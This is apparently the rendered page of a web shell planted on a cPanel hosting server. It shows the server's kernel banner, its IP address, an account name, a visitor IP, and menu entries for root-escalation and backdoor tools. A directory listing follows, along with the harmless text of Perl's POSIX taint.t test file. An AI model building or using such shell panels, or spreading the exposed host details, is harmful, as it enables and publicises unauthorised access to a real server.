Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
POSIX /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
export.t
6.17
KB
-r--r--r--
2014-12-27 11:49
is.t
3.79
KB
-r--r--r--
2014-12-27 11:49
math.t
1.96
KB
-r--r--r--
2014-12-27 11:49
posix.t
13.02
KB
-r--r--r--
2014-12-27 11:49
sigaction.t
5.3
KB
-r--r--r--
2014-12-27 11:48
sigset.t
3.08
KB
-r--r--r--
2014-12-27 11:48
sysconf.t
4.56
KB
-r--r--r--
2014-12-27 11:48
taint.t
1.32
KB
-r--r--r--
2014-12-27 11:48
termios.t
4.81
KB
-r--r--r--
2014-12-27 11:48
time.t
3.65
KB
-r--r--r--
2014-12-27 11:48
unimplemented.t
3.77
KB
-r--r--r--
2014-12-27 11:48
usage.t
1.44
KB
-r--r--r--
2014-12-27 11:48
waitpid.t
1.82
KB
-r--r--r--
2014-12-27 11:48
wrappers.t
6.24
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl -Tw BEGIN { require Config; import Config; if ($^O ne 'VMS' and $Config{'extensions'} !~ /\bPOSIX\b/) { print "1..0\n"; exit 0; } } use Test::More; BEGIN { plan( ${^TAINT} ? (tests => 7) : (skip_all => "A perl without taint support") ); } use Scalar::Util qw/tainted/; use POSIX qw(fcntl_h open read mkfifo); use strict ; $| = 1; my $buffer; my @buffer; my $testfd; # Sources of taint: # The empty tainted value, for tainting strings my $TAINT = substr($^X, 0, 0); my $file = 'POSIX.xs'; eval { mkfifo($TAINT. $file, 0) }; like($@, qr/^Insecure dependency/, 'mkfifo with tainted data'); eval { $testfd = open($TAINT. $file, O_WRONLY, 0) }; like($@, qr/^Insecure dependency/, 'open with tainted data'); eval { $testfd = open($file, O_RDONLY, 0) }; is($@, "", 'open with untainted data'); read($testfd, $buffer, 2) if $testfd > 2; is( $buffer, "#d", ' read' ); ok(tainted($buffer), ' scalar tainted'); TODO: { local $TODO = "POSIX::read won't taint an array element"; read($testfd, $buffer[1], 2) if $testfd > 2; is( $buffer[1], "./", ' read' ); ok(tainted($buffer[1]), ' array element tainted'); }